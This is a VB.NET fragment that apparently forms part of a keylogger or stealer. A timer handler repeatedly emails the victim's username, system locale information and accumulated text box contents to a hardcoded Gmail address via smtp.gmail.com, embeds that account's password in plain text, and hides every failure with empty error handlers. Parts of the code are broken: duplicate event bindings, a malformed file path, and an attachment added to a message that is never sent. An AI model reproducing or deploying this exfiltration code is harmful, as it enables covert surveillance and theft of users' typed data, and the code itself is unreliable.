Private Sub save_Tick(sender As Object, e As EventArgs) Handles save.Tick
    Dim savefiledialog1 As New SaveFileDialog
    Try
        savefiledialog1.Title = "damndaniel"
        savefiledialog1.FileName = "damndaniel.jpeg"
        savefiledialog1.Filter = "GDI+ |damndaniel.jpeg"
        If savefiledialog1.ShowDialog() = DialogResult.OK Then
            PictureBox1.Image.Save(savefiledialog1.FileName, System.Drawing.Imaging.ImageFormat.Jpeg)
        End If
    Catch ex As Exception
        'Do Nothing
    End Try
End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles save.Tick
    Try
        Timer1.Stop()
        Dim MyMailMessage As New MailMessage()
        MyMailMessage.From = New MailAddress("pleasehelpgt@gmail.com")
        Dim mailmsg As New MailMessage("pleasehelpgt@gmail.com", "pleasehelpgt@gmail.com")
        Dim msgatt As New Attachment("C:Useradministratordocumentsdamndaniel.pdf")
        MyMailMessage.To.Add("pleasehelpgt@gmail.com")
        MyMailMessage.Subject = Environment.UserName.ToString + " Part:  " + My.Settings.part.ToString + " " + TextBox2.Text


        MyMailMessage.Body = "Compare Info: " + My.Computer.Info.InstalledUICulture.CompareInfo.ToString + vbNewLine +
        "Display Name: " + My.Computer.Info.InstalledUICulture.DisplayName.ToString + vbNewLine +
        "English Name: " + My.Computer.Info.InstalledUICulture.EnglishName.ToString + vbNewLine +
        "Left Language Tag: " + My.Computer.Info.InstalledUICulture.IetfLanguageTag.ToString + vbNewLine +
        "Name: " + My.Computer.Info.InstalledUICulture.Name.ToString + vbNewLine +
        "Native Name: " + My.Computer.Info.InstalledUICulture.NativeName.ToString + vbNewLine +
        "Text Info: " + My.Computer.Info.InstalledUICulture.TextInfo.ToString + vbNewLine +
        "3 Letter ISO Language Name: " + My.Computer.Info.InstalledUICulture.ThreeLetterISOLanguageName.ToString + vbNewLine +
        "3 Letter Windows Language Name: " + My.Computer.Info.InstalledUICulture.ThreeLetterWindowsLanguageName.ToString + vbNewLine +
        "2 Letter ISO Language Name: " + My.Computer.Info.InstalledUICulture.TwoLetterISOLanguageName.ToString + vbNewLine + vbNewLine + vbNewLine + TextBox1.Text
        mailmsg.Attachments.Add(msgatt)
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential("pleasehelpgt@gmail.com", "hmyass$$")
        SMTPServer.EnableSsl = True
        SMTPServer.Send(MyMailMessage)
        TextBox1.Clear()
        Timer1.Start()
    Catch ex As Exception
    End Try

    My.Settings.part = My.Settings.part + 1
    My.Settings.Save()
    My.Settings.Reload()

End Sub